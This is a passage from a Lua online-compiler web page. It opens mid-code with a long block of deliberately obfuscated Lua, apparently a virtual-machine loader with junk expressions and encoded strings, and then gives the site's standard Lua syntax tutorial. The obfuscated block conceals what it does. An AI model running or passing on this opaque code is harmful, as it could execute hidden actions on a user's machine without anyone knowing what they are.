e==7 then local _=_[2];local d={};local o=0;local e=t;for _=_+1,e do o=o+1;d[o]=n[_];end;n[_](l(d,1,e-_));t=_;else o=o+_[3];end;elseif e<=13 then if e<=10 then if e>9 then if(n[_[2]]==n[_[5]])then o=o+1;else o=o+_[3];end;else if(n[_[2]]~=d[_[5]])then o=o+1;else o=o+_[3];end;end;elseif e<=11 then n[_[2]]=i[d[_[3]]];elseif e==12 then n[_[2]]=n[_[3]]%d[_[5]];else local o=_[2];local d,_=a(n[o]());t=o-1;_=_+o-1;local e=0;for _=o,_ do e=e+1;n[_]=d[e];end;t=_;end;elseif e<=15 then if e==14 then n[_[2]]=f(s[_[3]],nil,i);else local _=_[2];local e={};local o=0;local d=t;for _=_+1,d do o=o+1;e[o]=n[_];end;n[_](l(e,1,d-_));t=_;end;elseif e<=16 then do return end;elseif e>17 then local e=_[2];n[e]=n[e]-n[e+2];o=o+_[3];else n[_[2]]=n[_[3]];end;elseif e<=27 then if e<=22 then if e<=20 then if e>19 then if(d[_[2]]~=n[_[5]])then o=o+1;else o=o+_[3];end;else local e=_[2];local d=n[e+2];local t=n[e]+d;n[e]=t;if d>0 then if t<=n[e+1]then o=o+_[3];n[e+3]=t;end;elseif t>=n[e+1]then o=o+_[3];n[e+3]=t;end;end;elseif e==21 then n[_[2]]=n[_[3]];else if(d[_[2]]==n[_[5]])then o=o+1;else o=o+_[3];end;end;elseif e<=24 then if e==23 then local e=_[2];local t=e+_[3]-2;local o={};local _=0;for e=e,t do _=_+1;o[_]=n[e];end;do return l(o,1,_)end;else do return end;end;elseif e<=25 then n[_[2]]=n[_[3]]%d[_[5]];elseif e>26 then n[_[2]]();t=S;else o=o+_[3];end;elseif e<=32 then if e<=29 then if e==28 then for _=_[2],_[3]do n[_]=nil;end;else if(n[_[2]]==n[_[5]])then o=o+1;else o=o+_[3];end;end;elseif e<=30 then local e=_[2];local d=n[e+2];local t=n[e]+d;n[e]=t;if d>0 then if t<=n[e+1]then o=o+_[3];n[e+3]=t;end;elseif t>=n[e+1]then o=o+_[3];n[e+3]=t;end;elseif e==31 then local o=_[2];local d={};local e=0;local _=o+_[3]-1;for _=o+1,_ do e=e+1;d[e]=n[_];end;n[o](l(d,1,_-o));t=o;else n[_[2]]=d[_[3]];end;elseif e<=34 then if e==33 then local _=_[2];local d,o=a(n[_]());t=_-1;o=o+_-1;local e=0;for _=_,o do e=e+1;n[_]=d[e];end;t=o;else n[_[2]]=f(s[_[3]],nil,i);end;elseif e<=35 then n[_[2]]=d[_[3]];elseif e==36 then local o=_[2];local d={};local e=0;local _=o+_[3]-1;for _=o+1,_ do e=e+1;d[e]=n[_];end;n[o](l(d,1,_-o));t=o;else n[_[2]]();t=S;end;o=o+1;end;end;end;do local function _(...)local _=____________/____________==____________ or ____________-____________<____________==____________>____________==____________^____________%____________<=____________ and ____________/____________<=____________^____________ and ____________-____________-____________^____________<____________/____________*____________>____________*____________-____________/____________/____________<____________*____________^____________ or ____________;local _=____________ or ____________/____________>=____________^____________>=____________<=____________-____________ or ____________^____________>=____________<=____________>=____________==____________-____________-____________%____________>=____________>=____________<____________^____________*____________>____________/____________>=____________==____________%____________*____________==____________ or ____________+____________-____________;local _=____________>____________*____________%____________/____________/____________<____________ and ____________*____________ or ____________^____________ and ____________>=____________<=____________-____________*____________<____________>____________-____________*____________>=____________>____________ and ____________<____________>=____________*____________ or ____________<=____________ or ____________ or ____________>=____________>____________;local _=____________^____________<____________%____________<____________-____________ or ____________%____________ and ____________<____________ and ____________==____________/____________%____________ and ____________<____________>____________==____________/____________*____________<=____________*____________<____________ and ____________>____________>____________/____________>=____________ and ____________>=____________^____________>=____________;local _=____________ and ____________*____________<=____________ or ____________/____________-____________<=____________>=____________>____________==____________==____________>=____________>____________>=____________^____________<=____________*____________ or ____________ or ____________<=____________+____________<=____________<____________*____________-____________+____________^____________-____________+____________*____________^____________;local _=____________%____________>____________<=____________==____________*____________ and ____________+____________<=____________==____________*____________>____________-____________>=____________ or ____________%____________==____________*____________^____________>____________<=____________ and ____________ or ____________-____________%____________/____________>____________%____________^____________^____________+____________*____________;local _=____________ or ____________<____________^____________ or ____________%____________%____________-____________%____________<____________^____________^____________<=____________==____________ and ____________==____________%____________ or ____________ or ____________==____________/____________>____________/____________ or ____________%____________+____________%____________-____________ and ____________<____________ and ____________^____________;local _=____________*____________-____________%____________/____________/____________%____________ or ____________==____________+____________*____________==____________==____________+____________+____________<____________ or ____________^____________*____________ or ____________ or ____________-____________ or ____________+____________ and ____________ or ____________*____________<____________^____________>____________==____________<=____________;local _=____________ or ____________^____________ and ____________%____________ and ____________-____________<=____________%____________/____________*____________<=____________<=____________ or ____________ and ____________-____________ and ____________*____________%____________/____________<____________ and ____________-____________ or ____________ and ____________-____________%____________%____________%____________/____________>=____________%____________;local _=____________>____________==____________>____________<=____________>=____________/____________%____________ and ____________<____________>____________*____________>=____________ or ____________>=____________-____________%____________*____________+____________<____________ or ____________ and ____________<=____________<____________<____________==____________<____________-____________/____________^____________-____________*____________;local _=____________%____________%____________<____________<____________ or ____________>____________-____________>=____________<=____________>____________+____________ and ____________ and ____________==____________>____________ and ____________^____________-____________ and ____________<=____________ or ____________^____________ or ____________+____________*____________+____________<____________/____________+____________==____________+____________;local _=____________+____________+____________<____________ or ____________*____________/____________ or ____________/____________==____________+____________>=____________<____________*____________ and ____________<____________%____________ and ____________ or ____________>=____________*____________<____________ or ____________ or ____________ or ____________%____________<=____________/____________ and ____________ or ____________%____________>____________;local _=____________ and ____________-____________>____________%____________+____________<____________==____________ or ____________ or ____________<=____________ and ____________>____________+____________==____________<____________-____________==____________/____________==____________>=____________<=____________>____________/____________>=____________>=____________>=____________+____________>____________==____________ and ____________/____________;local _=____________<=____________<____________%____________<____________<____________/____________==____________*____________>____________/____________+____________<=____________+____________>____________-____________-____________ and ____________*____________>=____________/____________<____________*____________<____________*____________ or ____________>=____________<____________+____________%____________+____________==____________;local _=____________+____________ or ____________<____________+____________==____________ or ____________==____________>____________*____________<____________>____________<____________%____________*____________>=____________ and ____________<____________+____________==____________>=____________ or ____________==____________>=____________-____________-____________>____________*____________-____________/____________%____________<____________;local _=____________ and ____________/____________-____________ and ____________<____________-____________/____________>____________-____________ or ____________*____________==____________>=____________/____________<____________^____________*____________ or ____________%____________ or ____________ or ____________<____________%____________*____________<=____________>=____________<____________>=____________ or ____________/____________+____________;local _=____________ and ____________%____________ or ____________ and ____________-____________ and ____________/____________-____________+____________==____________/____________<____________*____________<____________ and ____________-____________==____________*____________>____________<=____________ or ____________%____________==____________<=____________>____________^____________/____________-____________*____________%____________^____________;local _=____________^____________ or ____________*____________>____________*____________/____________ or ____________==____________==____________%____________%____________ and ____________>=____________>=____________>=____________%____________*____________ or ____________/____________%____________+____________%____________ or ____________<=____________==____________/____________>=____________%____________^____________%____________^____________;local _=____________ and ____________>____________^____________+____________%____________ and ____________<=____________/____________ or ____________<=____________-____________*____________^____________-____________/____________ and ____________<____________^____________ or ____________%____________ and ____________ or ____________ or ____________>=____________<____________%____________%____________^____________-____________>=____________<=____________;local _=____________^____________%____________+____________==____________>____________>____________/____________%____________ or ____________*____________<____________ or ____________ or ____________>____________%____________/____________>=____________==____________>=____________<____________%____________%____________ and ____________>____________==____________>____________<____________*____________%____________ or ____________ and ____________;local _=____________/____________==____________>____________-____________/____________+____________>=____________ and ____________==____________-____________==____________-____________*____________<=____________ and ____________/____________/____________==____________<=____________<____________ or ____________ or ____________<____________ and ____________*____________%____________>=____________>____________*____________-____________<____________;local _=____________==____________ and ____________*____________+____________ and ____________<=____________==____________*____________-____________ or ____________==____________%____________^____________ and ____________-____________<____________==____________<____________>____________>____________+____________%____________+____________/____________<____________<____________>=____________ or ____________==____________ and ____________*____________;local _=____________>____________>=____________==____________>=____________%____________+____________<=____________*____________/____________ and ____________%____________ and ____________-____________-____________ or ____________>____________/____________ and ____________*____________%____________<____________<=____________+____________ or ____________-____________ and ____________%____________ or ____________>=____________>=____________<____________;local _=____________ and ____________*____________==____________>=____________*____________==____________+____________<____________>=____________ and ____________<____________%____________+____________>____________<=____________>____________>=____________>____________==____________>=____________>____________-____________<=____________ or ____________==____________^____________+____________==____________/____________%____________-____________;local _=____________*____________*____________<=____________<=____________>=____________<____________<=____________/____________>____________%____________>=____________ or ____________-____________^____________%____________==____________ and ____________<=____________/____________<=____________/____________==____________==____________%____________%____________==____________*____________*____________/____________+____________>=____________;local _=____________>____________-____________/____________^____________%____________+____________+____________+____________/____________/____________<=____________^____________-____________ and ____________ or ____________>=____________+____________*____________%____________<____________+____________%____________+____________>=____________/____________*____________>=____________<____________<=____________>=____________ and ____________;local _=____________==____________/____________>____________>=____________^____________==____________==____________==____________<=____________*____________/____________-____________>____________*____________-____________%____________<=____________-____________<____________^____________*____________<=____________-____________/____________==____________<=____________^____________==____________-____________>____________^____________;local _=____________>=____________-____________%____________<=____________>=____________-____________+____________<____________==____________%____________==____________*____________/____________%____________+____________ and ____________ and ____________%____________ or ____________>=____________ and ____________+____________==____________<____________<=____________<____________<____________^____________==____________>=____________<____________;local _=____________-____________==____________-____________-____________^____________ or ____________>=____________ or ____________>=____________<____________^____________%____________+____________<____________<____________ and ____________^____________<____________<____________ or ____________*____________<=____________^____________<=____________<____________ or ____________+____________-____________+____________*____________%____________;local _=____________ or ____________^____________==____________ and ____________<____________>____________<____________%____________<____________ and ____________%____________ and ____________>____________+____________<____________ and ____________ or ____________*____________>____________<=____________%____________==____________==____________*____________-____________^____________>____________>____________%____________<=____________<____________;local _=____________^____________>____________ or ____________<____________+____________+____________*____________-____________>____________/____________>=____________==____________ and ____________<____________>=____________-____________<____________/____________^____________==____________/____________==____________/____________ or ____________>=____________>____________<____________+____________/____________^____________>____________;end;end;return f(u(),{},s())()or nil end)(55,226,112,245,string.gsub,'','\115\117\98',tostring,string.byte,'\114\115\104\105\102\116',table,'\95\95\109\111\100\101',next,'\118',setmetatable,bit32,error,118,string.char,'\98\120\111\114',true,type,216,getfenv,'\105\110\115\101\114\116','\35',bit,string,124,'\108\115\104\105\102\116',table.unpack,tonumber,255,assert,pcall,setfenv,'\46\46',unpack,'\114\101\112',string.match,106,217,false,198,rawset,185,131071,_ENV,rawget,256,'\98\111\114',select,'\98\110\111\116',nil,'\98\97\110\100',...); 

Lua online compiler

Write, Run & Share Lua code online using OneCompiler's Lua online compiler for free. It's one of the robust, feature-rich online compilers for Lua language, running the latest Lua version 5.4. Getting started with the OneCompiler's Lua editor is easy and fast. The editor shows sample boilerplate code when you choose language as Lua and start coding.

Taking inputs (stdin)

OneCompiler's Lua online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample Lua program which takes name as input and prints hello message with your name.

name = io.read("*a")
print ("Hello ", name)

About Lua

Lua is a light weight embeddable scripting language which is built on top of C. It is used in almost all kind of applications like games, web applications, mobile applications, image processing etc. It's a very powerful, fast, easy to learn, open-source scripting language.

Syntax help

Variables

  • By default all the variables declared are global variables
  • If the variables are explicitly mentioned as local then they are local variables.
  • Lua is a dynamically typed language and hence only the values will have types not the variables.

Examples

-- global variables
a = 10

-- local variables

local x = 30
Value TypeDescription
numberRepresents numbers
stringRepresents text
nilDifferentiates values whether it has data or not
booleanValue can be either true or false
functionRepresents a sub-routine
userdataRepresents arbitary C data
threadRepresents independent threads of execution.
tableCan hold any value except nil

Loops

1. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while(condition)
do
--code
end

2. Repeat-Until:

Repeat-Until is also used to iterate a set of statements based on a condition. It is very similar to Do-While, it is mostly used when you need to execute the statements atleast once.

repeat
   --code
until( condition )

3. For:

For loop is used to iterate a set of statements based on a condition.

for init,max/min value, increment
do
   --code
end

Functions

Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increase re-usuability and modularity.

optional_function_scope function function_name( argument1, argument2, argument3........, argumentn)
--code
return params with comma seperated
end